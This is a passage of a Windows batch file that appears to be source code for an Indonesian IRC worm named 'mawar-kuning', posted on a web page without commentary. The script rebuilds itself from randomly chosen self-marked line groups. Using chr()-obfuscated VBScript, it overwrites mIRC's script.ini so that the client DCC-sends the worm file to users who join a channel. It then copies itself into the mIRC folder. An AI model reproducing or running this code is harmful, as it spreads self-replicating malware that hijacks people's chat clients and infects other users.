ver|time|find “,2?>nul % mawar-kuning %
if not errorlevel 1 set randoma=2% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,3?>nul % mawar-kuning %
if not errorlevel 1 set randoma=3% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,4?>nul % mawar-kuning %
if not errorlevel 1 set randoma=4% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,5?>nul % mawar-kuning %
if not errorlevel 1 set randoma=5% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
goto mulaiwin2 % mawar-kuning %
:enmawarkuningwin % mawar-kuning %
% mawar-kuning %if not %wina%==1 if %randoma%==1 goto enamawarkuningwin
% mawar-kuning %if not %winb%==1 if %randoma%==2 goto enbmawarkuningwin
% mawar-kuning %if not %winc%==1 if %randoma%==3 goto encmawarkuningwin
% mawar-kuning %if not %wind%==1 if %randoma%==4 goto endmawarkuningwin
% mawar-kuning %if not %wine%==1 if %randoma%==5 goto enemawarkuningwin
goto mulaiwin2 % mawar-kuning %
:enamawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%BBB”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%AAA”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%KKK”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%DDD”<%0>> mawarkuning.bat
set wina=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enbmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%EEE”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%LLL”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%GGG”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%HHH”<%0>> mawarkuning.bat
set winb=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:encmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%III”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%JJJ”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%CCC”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%FFF”<%0>> mawarkuning.bat
set winc=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:endmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%NNN”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%MMM”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%PPP”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%OOO”<%0>> mawarkuning.bat
set wind=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enemawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%RRR”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%SSS”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%UUU”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%TTT”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%QQQ”<%0>> mawarkuning.bat
set wine=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:winirc % mawar-kuning %
% mawar-kuning %set wina=
% mawar-kuning %set winb=
% mawar-kuning %set winc=
% mawar-kuning %set wind=
% mawar-kuning %set wine=
% mawar-kuning %set aaa=
% mawar-kuning %set randoma=
:irca % AAAA %
if exist C:\mirc\script.ini set mir=C:\mirc% AAAA %
echo %mir%
if exist C:\mirc32\script.ini set mir=C:\mirc32% AAAA %
if exist C:\proga~1\mirc\script.ini set mir=C:\progra~1\mirc% AAAA %
if exist C:\prgra~1\mirc32\script.ini set mir=C:\progra~1\mirc32% AAAA %
goto ircb% AAAA %
:ircb % ABBB %
set mirc=%mir%\script.ini% ABBB %
set vs=chr(% ABBB %
goto ircc% ABBB %
:ircc % ACCC %
set wc=echo file.writeline% ACCC %
goto ircd% ACCC %
:ircd % ADDD %
echo dim fso, file > irc.vbs% ADDD %
echo set fso = createobject(”scripting.filesystemobject”) >>irc.vbs% ADDD %
echo set file = fso.createtextfile (”%mir%\script.ini”, true)>>irc.vbs% ADDD %
goto irce% ADDD %
:irce % AEEE %
%wc% ” on 1:st” + %vs%97) + “rt: { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “filee %mir%\name.b” + %vs%97) + “t }”>>irc.vbs% AEEE %
%wc% ” on 1:join:#: { “>>irc.vbs% AEEE %
%wc% ” .if (” + %vs%36) + “nick != ” + %vs%36) + “me ” + %vs%38) + “” + %vs%38) + ” ” + %vs%37) + “old != ” + %vs%36) + “nick) {”>>irc.vbs% AEEE %
goto ircf% AEEE %
:ircf % AFFF %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “old ” + %vs%36) + “nick”>>irc.vbs% AFFF %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,100000) 1 5 .” + %vs%36) + “check_him( ” + %vs%36) + “nick , ” + %vs%36) + “ch” + %vs%97) + “n )”>>irc.vbs% AFFF %
goto ircg% AFFF %
:ircg % AGGG %
%wc% ” } “>>irc.vbs% AGGG %
%wc% ” }”>>irc.vbs% AGGG %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s check_him {”>>irc.vbs% AGGG %
goto irch% AGGG %
:irch % AHHH %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) “>>irc.vbs% AHHH %
%wc% ” .while (” + %vs%36) + “portfree(” + %vs%37) + “port) == ” + %vs%36) + “f” + %vs%97) + “lse) { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) }”>>irc.vbs% AHHH %
goto irci% AHHH %
:irci % AIII %
%wc% ” .%fi% (” + %vs%36) + “1 !isop ” + %vs%36) + “2) { “>>irc.vbs% AIII %
%wc% ” .%nt%ice ” + %vs%36) + “1 :DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” teletubies ( ” + %vs%36) + “+ ” + %vs%36) + “ip ” + %vs%36) + “+ ) “>>irc.vbs% AIII %
goto ircj% AIII %
:ircj % AJJJ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,99999)”>>irc.vbs% AJJJ %
%wc% ” .msg ” + %vs%36) + “1 _DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” ” + %vs%37) + “filee ” + %vs%36) + “longip(” + %vs%36) + “ip) ” + %vs%37) + “port ” + %vs%36) + “file(” + %vs%37) + “filee).size ” + %vs%36) + “+ _”>>irc.vbs% AJJJ %
%wc% ” .socklisten ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%37) + “port”>>irc.vbs% AJJJ %
goto irck% AJJJ %
:irck % AKKK %
%wc% ” .timers off”>>irc.vbs% AKKK %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,99999) 0 10 .cloze”>>irc.vbs% AKKK %
%wc% ” } “>>irc.vbs% AKKK %
goto ircl% AKKK %
:ircl % ALLL %
%wc% ” }”>>irc.vbs% ALLL %
%wc% ” on 1:socklisten:” + %vs%37) + “sock_n” + %vs%97) + “me: {”>>irc.vbs% ALLL %
goto ircm% ALLL %
:ircm % AMMM %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “client_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,9999999)”>>irc.vbs% AMMM %
%wc% ” .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me”>>irc.vbs% AMMM %
goto ircn% AMMM %
:ircn % ANNN %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “l 0?>>irc.vbs% ANNN %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs % ANNN %
goto irco% ANNN %
:irco % AOOO %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% AOOO %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% AOOO %
goto ircp% AOOO %
:ircp % APPP %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 0?>>irc.vbs% APPP %
%wc% ” }”>>irc.vbs% APPP %
%wc% ” on 1:sockre” + %vs%97) + “d:” + %vs%37) + “client_n” + %vs%97) + “me: {”>>irc.vbs% APPP %
goto ircq % APPP %
:ircq % AQQQ %
%wc% ” .%fi% (” + %vs%37) + “l >= ” + %vs%36) + “file(” + %vs%37) + “filee).size) {”>>irc.vbs% AQQQ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 1?>>irc.vbs% AQQQ %
goto ircr% AQQQ %
:ircr % ARRR %
%wc% ” .sockclose ” + %vs%37) + “client_n” + %vs%97) + “me”>>irc.vbs% ARRR %
%wc% ” .h” + %vs%97) + “lt”>>irc.vbs% ARRR %
%wc% ” } .else {”>>irc.vbs% ARRR %
goto ircs% ARRR %
:ircs % ASSS %
%wc% ” .%fi% (” + %vs%37) + “end != 1) {”>>irc.vbs% ASSS %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs% ASSS %
goto irct% ASSS %
:irct % ATTT %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% ATTT %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% ATTT %
%wc% ” } } }”>>irc.vbs% ATTT %
goto ircu% ATTT %
:ircu % AUUU %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s cloze { .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me } “>>irc.vbs% AUUU %
echo file.Close >>irc.vbs% AUUU %
cscript irc.vbs% AUUU %
cls% AUUU %
goto eirc% AUUU %
:eirc % mawar-shadow %
del irc.vbs % mawar-shadow %
find “mawar-shadow”<%0>>mawarkuning.bat
copy mawarkuning.bat %mir%\Mawar Kuning.bat % mawar-shadow %
del mawarkuning.bat % mawar-shadow %
cls % mawar-shadow %

Google Maps

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More